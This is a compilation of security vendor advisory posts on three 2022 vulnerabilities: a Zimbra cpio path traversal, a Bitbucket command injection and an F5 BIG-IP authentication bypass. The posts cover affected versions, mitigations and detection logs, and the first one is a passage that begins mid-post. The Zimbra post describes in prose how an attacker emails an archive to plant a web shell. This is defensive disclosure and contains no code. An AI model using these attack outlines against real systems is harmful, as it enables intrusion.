To exploit this vulnerability, an attacker would email a .cpio, .tar, or .rpm to an affected server. When Amavis inspects it for malware, it uses cpio to extract the file. Since cpio has no mode where it can be securely used on untrusted files, the attacker can write to any path on the filesystem that the Zimbra user can access. The most likely outcome is for the attacker to plant a shell in the web root to gain remote code execution, although other avenues likely exist.

As of October 6, 2022, CVE-2022-41352 is not patched, but Zimbra has acknowledged the risk of relying on cpio in a blog post where they recommend mitigations. CVE-2022-41352 was discovered in the wild due to active exploitation. Recently, CISA and others have warned of multiple threat actors leveraging other vulnerabilities in Zimbra, which makes it likely that threat actors would logically move to exploit this latest unpatched vulnerability, too. In August, Rapid7 reported on the active exploitation of multiple vulnerabilities in Zimbra Collaboration Suite.

Affected products

Please note that information on affected versions or requirements for exploitability may change as we learn more about the threat.

To be exploitable, two conditions must exist:

  1. A vulnerable version of cpio must be installed, which is the case on basically every system (see CVE-2015-1197)
  2. The pax utility must not be installed, as Amavis prefers pax and pax is not vulnerable

Unfortunately, pax is not installed by default on Red Hat-based distros, and therefore they are vulnerable by default. We tested all (current) Linux distros that Zimbra officially supports in their default configurations and determined the following:

Linux Distro Vulnerable?
Oracle Linux 8 Vulnerable
Red Hat Enterprise Linux 8 Vulnerable
Rocky Linux 8 Vulnerable
CentOS 8 Vulnerable
Ubuntu 20.04 Not vulnerable (pax is installed by default)
Ubuntu 18.04 Not vulnerable (pax is installed, cpio has Ubuntu’s custom patch)

Zimbra says that their plan is to remove the dependency on cpio entirely by making pax a prerequisite for Zimbra Collaboration Suite. Moving to pax is the best option since cpio cannot be used securely (because most major operating systems removed a security patch).

Mitigation

Organizations that use an impacted version of Zimbra Collaboration Suite should apply their recommended workaround, which is to install the pax archive utility, then restart Zimbra or reboot while monitoring for further software updates from Zimbra.

Rapid7 customers

InsightVM and Nexpose customers will be able to assess their exposure to CVE-2022-41352 via an authenticated vulnerability check (supported by Agent- and Scanner-based assessments) expected to be available in the October 6 content release. This check will identify systems with an affected version of Zimbra Collaboration Suite installed where the pax package is not available.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

CVE-2022-36804: Easily Exploitable Vulnerability in Atlassian Bitbucket Server and Data Center

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/

CVE-2022-36804: Easily Exploitable Vulnerability in Atlassian Bitbucket Server and Data Center

On August 24, 2022, Atlassian published an advisory for Bitbucket Server and Data Center alerting users to CVE-2022-36804. The advisory reveals a command injection vulnerability in multiple API endpoints, which allows an attacker with access to a public repository or with read permissions to a private Bitbucket repository to execute arbitrary code by sending a malicious HTTP request. CVE-2022-36804 carries a CVSSv3 score of 9.8 and is easily exploitable. Rapid7’s vulnerability research team has a full technical analysis in AttackerKB, including how to use CVE-2022-36804 to create a simple reverse shell.

According to Shodan, there are about 1,400 internet-facing servers, but it’s not immediately obvious how many have a public repository. There are no public reports of exploitation in the wild as of September 20, 2022, but there has been strong interest in the vulnerability from researchers and exploit brokers, and there are now multiple public exploits available. Because the vulnerability is trivially exploitable and the patch is relatively simple to reverse- engineer, it’s likely that targeted exploitation has already occurred in the wild. We expect to see larger-scale exploitation of CVE-2022-36804 soon.

Affected products:
Bitbucket Server and Data Center 7.6 prior to 7.6.17
Bitbucket Server and Data Center 7.17 prior to 7.17.10
Bitbucket Server and Data Center 7.21 prior to 7.21.4
Bitbucket Server and Data Center 8.0 prior to 8.0.3
Bitbucket Server and Data Center 8.1 prior to 8.1.3
Bitbucket Server and Data Center 8.2 prior to 8.2.2
Bitbucket Server and Data Center 8.3 prior to 8.3.1

Mitigation guidance

Organizations that use Bitbucket Server and Data Center in their environments should patch as quickly as possible using Atlassian’s guide, without waiting for a regular patch cycle to occur. Blocking network access to Bitbucket may also function as a temporary stop-gap solution, but this should not be a substitute for patching.

Rapid7 customers

Our engineering team is in the process of developing a vulnerability check for CVE-2022-36804. We will update this blog with further information as it becomes available.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading:

Active Exploitation of F5 BIG-IP iControl REST CVE-2022-1388

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2022/05/09/active-exploitation-of-f5-big-ip-icontrol-rest-cve-2022-1388/

Active Exploitation of F5 BIG-IP iControl REST CVE-2022-1388

On May 4, 2022, F5 released an advisory listing several vulnerabilities, including CVE-2022-1388, a critical authentication bypass that leads to remote code execution in iControl REST with a CVSSv3 base score of 9.8.

The vulnerability affects several different versions of BIG-IP prior to 17.0.0, including:

  • F5 BIG-IP 16.1.0 – 16.1.2 (patched in 16.1.2.2)
  • F5 BIG-IP 15.1.0 – 15.1.5 (patched in 15.1.5.1)
  • F5 BIG-IP 14.1.0 – 14.1.4 (patched in 14.1.4.6)
  • F5 BIG-IP 13.1.0 – 13.1.4 (patched in 13.1.5)
  • F5 BIG-IP 12.1.0 – 12.1.6 (no patch available, will not fix)
  • F5 BIG-IP 11.6.1 – 11.6.5 (no patch available, will not fix)

On Monday, May 9, 2022, Horizon3 released a full proof of concept, which we successfully executed to get a root shell. Other groups have developed exploits as well.

Over the past few days, BinaryEdge has detected an increase in scanning and exploitation for F5 BIG-IP. Others on Twitter have also observed exploitation attempts. Due to the ease of exploiting this vulnerability, the public exploit code, and the fact that it provides root access, exploitation attempts are likely to increase.

Widespread exploitation is somewhat mitigated by the small number of internet-facing F5 BIG-IP devices, however; our best guess is that there are only about 2,500 targets on the internet.

Mitigation guidance

F5 customers should patch their BIG-IP devices as quickly as possible using F5’s upgrade instructions. Additionally, the management port for F5 BIG-IP devices (and any similar appliance) should be tightly controlled at the network level — only authorized users should be able to reach the management interface at all.

F5 also provides a workaround as part of their advisory. If patching and network segmentation are not possible, the workaround should prevent exploitation. We always advise patching rather than relying solely on workarounds.

Exploit attempts appear in at least two different log files:

  • /var/log/audit
  • /var/log/restjavad-audit.0.log

Because this vulnerability is a root compromise, successful exploitation may be very difficult to recover from. At a minimum, affected BIG-IP devices should be rebuilt from scratch, and certificates and passwords should be rotated.

Rapid7 customers

InsightVM and Nexpose customers can assess their exposure to CVE-2022-1388 with an authenticated vulnerability check in the May 5, 2022 content release. This release also includes authenticated vulnerability checks for additional CVEs in F5’s May 2022 security advisory.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Additional reading: